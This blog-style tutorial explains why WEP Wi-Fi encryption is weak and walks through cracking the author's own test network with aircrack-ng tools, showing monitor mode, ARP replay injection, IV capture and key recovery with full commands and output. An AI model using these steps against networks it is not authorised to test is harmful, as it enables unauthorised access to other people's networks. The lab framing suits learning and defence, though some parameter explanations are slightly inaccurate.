Many of us own a Wi-Fi network at home. It is great, convenient and no cables! When this technology first came to existence there were several competitors available as well (Remember DECT ? [wikipedia.org]). One of key points for the Wi-Fi developers was also to drive the cost of equipment down and they inevitably created two problems. Let me quickly talk about some basic issues in the Wi-Fi and then we will move to the practical cracking of WEP encryption. I intend to drive this article as first in the series and I will be mostly focused on the end-user practicalities and only linking to the most interesting theory articles.

Ok, so back to the Wi-Fi inherited problems. First is that the standard nearly ignored having two Wi-Fi networks operating in the same channel to make the equipment as cheap as possible. You might remember that Wi-Fi uses ethernet’s “Carrier sense multiple access with collision detection” (CDMA/CD) but extended to “Carrier sense multiple access with collision avoidance” (CDMA/CA). The extension introduced some great new messages like CTS (Clear to send) and RTS (Request to send). These control messages basically have given control of access to the channel to the access-point. Now the access-point manages all the clients to avoid collisions, but if there are two independent access-points, they pretty much do not care about each other and we are back to the old CDMA/CD system with back-off timers and retransmissions after collisions.

Second drawback is that in order to win the Wi-Fi standard race, the creators created the initial security protection called “Wired Equivalent Privacy” (or WEP [wikipedia.org]) in a rush and without any public driven testing. The wireless standard of 802.11 won the race, but soon afterwards the WEP flaws were identified and it was proved as very easily penetrated.

It is actually easy to explain why it is so vulnerable. Main point is that the encryption algorithm behind is a stream cipher that starts with a combination of your “password” and a random 24bit Initialization vector. Originally the WEP standard has given users 40bit password option and later also 104 bit password option (always add the IV to get 64bit encryption key or 128bit encryption key). Then this key always encrypts the traffic while the continuously changing IV should provide protection against reply attacks. Technically the RC4 provides a continuous stream of key bits, these bits are then mapped with XOR function to each bit of the underlining data.

But the main security fail of this mechanism is that the Initiation Vector is “only 24bit” long and cannot protect the key in a busy network. For example it is estimated that the IV loops every 5000 packets. In 2001 a passive attack was published by FLuhrer, Martin and Shamir that allowed you can only capture the packets from air and then perform this attack on them to recover a key very easily. In summary all you have to do to crack the code is to capture a very large number of packets to get large number of IVs and then start cracking the WEP key. Depending on the target network activity you can have the key in a few hours.

Furthermore, in 2007 the attack was significantly improved by a method of “arp-injection”. From this point it was no longer a passive attack and thanks to that it shortened the attack time to a few minutes. The idea is simple, it is possible to recognize ARP (Address Resolution Protocol) packets in the encrypted network without knowing the encryption key and then spoof deathentification of the originating client and re-sending the captured ARP packet back to the network. Every resended ARP enables you to capture additional IV vector by listening for a ARP reply. This is possible because the ARP packet structure is very static in nature and the ARP reply you get is always the same, only encrypted with a different IV. If you remember mathematics from school, when you get many ARP replies you essentially can construct an equation with both plain text, password as static variables, and only the IV varies. This help the cracking process by several orders of magnitude.

Practical example how to crack WEP

First, lets look what do we need for this task. For the moral and legal reasons, please get your own access-point and configure it with WEP encryption. Then we need two PCs (technically possible with one and two Wi-Fi cards, but two PCs are better). One PC will act as a client (so that it will generate traffic) and the other PC will be for the attacker simulation.

TP-Link 722n

Regarding my personal hardware, I have used a a TP-Link 722n wireless card, with a great external antenna adapter and good support from the hacking tools. As a target I used my TP-Link 741ND wifi router. As a test client I have used my iPhone.

For the software needed you can go in two directions, I personally have dual-boot with BackTrack Linux. This is ubuntu based distribution designed for penetration-testing and comes with all the best selection of security auditing and penetration testing tools as well as already modified drivers to support advanced attacks like arp-injection (which is not needed for a normal user). You can also simply

TP-Link 741nd

download this image and start it as a live CD (or inside USB). Second option is to start your linux distribution (yes, you need one) and install aircrack-ng package (most probably test below step 0, and maybe you will have to google for your Wi-FI card if it supports at minimum a promiscuous mode of operation).

Step 0. Initialize airmon-ng and test packet injection

First check with ifconfig if your wifi card is recognized as root type “ifconfig” and look for any wlanX or athX card. Maybe if it is in shutdown state try with “ifconfig -a” and then activate it with for example “ifconfig wlanX up”. In my example the card is wlan1 (wlan0 is integrated intel Wi-Fi that is not really usable for attacks).

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

root@bt:~# ifconfig -a

eth0 Linkencap:Ethernet HWaddr00:1c:25:91:5c:93

inet addr:192.168.10.170Bcast:192.168.10.191Mask:255.255.255.192

inet6 addr:fe80::21c:25ff:fe91:5c93/64Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500Metric:1

RX packets:15197errors:0dropped:0overruns:0frame:0

TX packets:15980errors:0dropped:0overruns:0carrier:0

collisions:0txqueuelen:1000

RX bytes:4836106(4.8MB)TX bytes:18487451(18.4MB)

Interrupt:18

lo Linkencap:Local Loopback

inet addr:127.0.0.1Mask:255.0.0.0

inet6 addr:::1/128Scope:Host

UP LOOPBACK RUNNING MTU:16436Metric:1

RX packets:970errors:0dropped:0overruns:0frame:0

TX packets:970errors:0dropped:0overruns:0carrier:0

collisions:0txqueuelen:0

RX bytes:69553(69.5KB)TX bytes:69553(69.5KB)

wlan0 Linkencap:Ethernet HWaddr00:1f:3c:37:d1:c5

UP BROADCAST MULTICAST MTU:1500Metric:1

RX packets:0errors:0dropped:0overruns:0frame:0

TX packets:0errors:0dropped:0overruns:0carrier:0

collisions:0txqueuelen:1000

RX bytes:0(0.0B)TX bytes:0(0.0B)

wlan1 Linkencap:Ethernet HWaddr d8:5d:4c:91:ab:41

BROADCAST MULTICAST MTU:1500Metric:1

RX packets:0errors:0dropped:0overruns:0frame:0

TX packets:0errors:0dropped:0overruns:0carrier:0

collisions:0txqueuelen:1000

RX bytes:0(0.0B)TX bytes:0(0.0B)

So in the next steps we activate the airmon-ng package and this will put the wlan1 card into promiscuous mode and create virtual interface mon0 that we will use for attacks.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

root@bt:~# airmon-ng start wlan1

Found3processes that could cause trouble.

Ifairodump-ng,aireplay-ng orairtun-ng stops working after

ashortperiod of time,you may want tokill(some of)them!

PID Name

1314dhclient3

1525dhclient3

11757dhclient

Process with PID1525(dhclient3)isrunning on interfacewlan0

InterfaceChipset Driver

wlan1 Atheros AR9271 ath9k-[phy1]

(monitor mode enabled on mon0)

wlan0 Intel3945ABGiwl3945-[phy0]

NOTE: Sometimes the airmon-ng will tell you that there are programs running that can interfere with your network card and that you should close them. For example NetworkManager or a dhclient. Kill tham with the kill <pid> command before continuing.

Lets look at the ifconfig again and you will notice a new interface in the ifconfig output.

Now lets test if the packet-injection works. It will also look around for networks on the same channel and will try to resend a few packets.

1

2

3

4

5

6

7

8

9

root@bt:~# aireplay-ng --test mon0

21:48:16Trying broadcast probe requests...

21:48:16Injection isworking!

21:48:18Found1APs

21:48:18Trying directed probe requests...

21:48:19F8:D1:11:37:C2:0E-channel:6-'WEPcrackTest'

21:48:19Ping(min/avg/max):1.322ms/15.453ms/39.641msPower:-88.62

21:48:1929/30:96%

Step 1. Find the target network using WEP.

For our little test, I have configured my access-point with single wifi called “WEPcrackTest” and let’s pretend that we didn’t know this. I would personally use inSSIDer, but there are alternatives directly on linux like “ssidsniff” or “iwlist scanning”. So for simplycity, lets try the “iwlist scanning”. You can find WEP encrypted networks if the corresponding Cell has no WPA/WPA2 mentioned and the “Encryption key:on” as indicated below.

Step 2. Start capturing IVs

Just as historically, your first need is to capture enough IVs (at least 50,000) to have a chance of cracking the WEP encryption. This process is best started in some parallel sessions so please open another terminal windows or use “screen” commands for background session. We will use the airodump-ng command with “-c 6” telling it to capture on channel 6, “–bssid” specifies the mac-address of the Access-Points radio to specifiy a target and and “-w” specifies the output file where to store the captured packets. Last parameter is the interface identifier and we use our “mon0”.

Ok, start the capturing and leave it running until we have a lot of IVs.

Step 3. Arp Injection attack to speed IV capture.

The logic is as follows, we will do fake authentication against the access point and wait for any captured ARP packet, once we capture one we will start resending it back to the network and captured replies to our fake replies will allow us to capture large number of IVs from step 2. But for all this, we need to first associate using the aireplay-ng command as follows. “-1 0” is the attack type, in this case type 0 what is association only. “-e WEPcrackTest” is name of network to associate to, “-a F8:D1:11:37:C2:0E” is the access point mac-address again, “-h D8:5D:4C:91:AB:41” is mac-address of your wireless card (find it from the ifconfig command) and at the end is the wifi interface mon0.

Second part is start listening for ARP packets and if such packets comes, initiate retransmission. To do this we will use aireplay-ng command with attack type “-3”, wifi accesspoint is “-b F8:D1:11:37:C2:0E”, your wifi interface mac-address is “-h D8:5D:4C:91:AB:41” and we are opening this attack on interface mon0.

Great, notice the “sent 0 packets” at the end. Now we wait for some real client to connect and once he connects, the attack will start to run automatically. In summary right now you should have in one terminal running this replay attack and in another running capture from step 2.

Step 4. Simulating legal user to start ARP-reply

This step is artificial in our example as in real attack you would just leave all from previous steps running and wait for some user on the network to send ARP. To speed things in our little test, I will connect my second interface card wlan0 to the test network and generate an ARP manually. So this is how you can connect to a WEP network (notice that on this point I am telling you the key that is “apple”:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

root@bt:~# iwconfig wlan0 essid WEPcrackTest

root@bt:~# iwconfig wlan0 channel 6

root@bt:~# iwconfig wlan0 enc on key s:apple

root@bt:~# ifconfig wlan0 up

root@bt:~# dhclient wlan0

There isalreadyapid file/var/run/dhclient.pid with pid9745

killed old client process,removed PID file

Internet Systems Consortium DHCP Client V3.1.3

Copyright2004-2009Internet Systems Consortium.

All rights reserved.

Forinfo,please visit https://www.isc.org/software/dhcp/

mon0:unknown hardware address type803

mon0:unknown hardware address type803

Listening on LPF/wlan0/00:1f:3c:37:d1:c5

Sending on LPF/wlan0/00:1f:3c:37:d1:c5

Sending on Socket/fallback

DHCPREQUEST of192.168.10.171on wlan0 to255.255.255.255port67

DHCPACK of192.168.10.171from192.168.10.130

bound to192.168.10.171--renewal in111969seconds.

Now lets have a look on the arp table, you will most probably see that the we have already resolved the default gateway after or during the DHCP negotiation, so we already have one ARP probably captured.

1

2

3

root@bt:~# arp -a

?(192.168.10.142)at2c:59:e5:04:64:92[ether]on eth0

?(192.168.10.130)at00:0c:42:37:40:44[ether]on wlan0

Now check your step 3 arp-reply attack if it already captured some ARP packets are it is sending them back to the network. Most probably it will be already running crazy fast sending all those ARP requests like below!

Also if you look at the capture from step 2, you will notice now that the capture rate has accelerated several times. And notice that it si “as if” coming from the host with mac-address D8:5D:4C:91:AB:41. This is our wlan0 mac-address but this large number of packets is definitely not coming from that interface.

Step 5, Wait and crack

Now we leave it running for a little while and we can periodically test if we already have enough IVs to crack the key. In step 2 I used the parameter -w to capture all traffic to a file called WEP.cap. You can notice that the file size is increasing over time. We will use the aircrack-ng -w -b F8:D1:11:37:C2:0E ./WEP.cap command. The -w parameter tells that we are going to attempt to crack the code from a file, -b specifies what access-points traffic is interesting for us (because you can just capture in step 2 from multiple networks at once) and at the end we specify what file to use as source of data.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

root@bt:~# aircrack-ng ./WEP.cap

Opening./WEP.cap

Read1459354packets.

# BSSID ESSID Encryption

1F8:D1:11:37:C2:0EWEPcrackTest WEP(336090IVs)

Choosing first network astarget.

Opening./WEP.cap-01.cap

Attack will be restarted every5000captured ivs.

Starting PTW attack with337296ivs.

KEY FOUND![61:70:70:6C:65](ASCII:apple)

Decrypted correctly:100%

And here you have it, “KEY FOUND!” and it is found as “ASCII: apple”. This was very easy, no ?

Concolusion

In summary for whatever reason do not operate WEP encryption on your Wi-Fi network. I know that this is an old technology and with the standards like 802.11n not having even direct support for it anymore it will eventually die. But until then, I have scanned the area around my home with a 24db antenna and I have located three WEP encrypted networks from the 27 networks around. So there are still people who can be exploited and probably have no idea about it. Make sure you are not one of them.

I am already writing a next part about cracking WPA/WPA2 using the WPS vulnerabilities.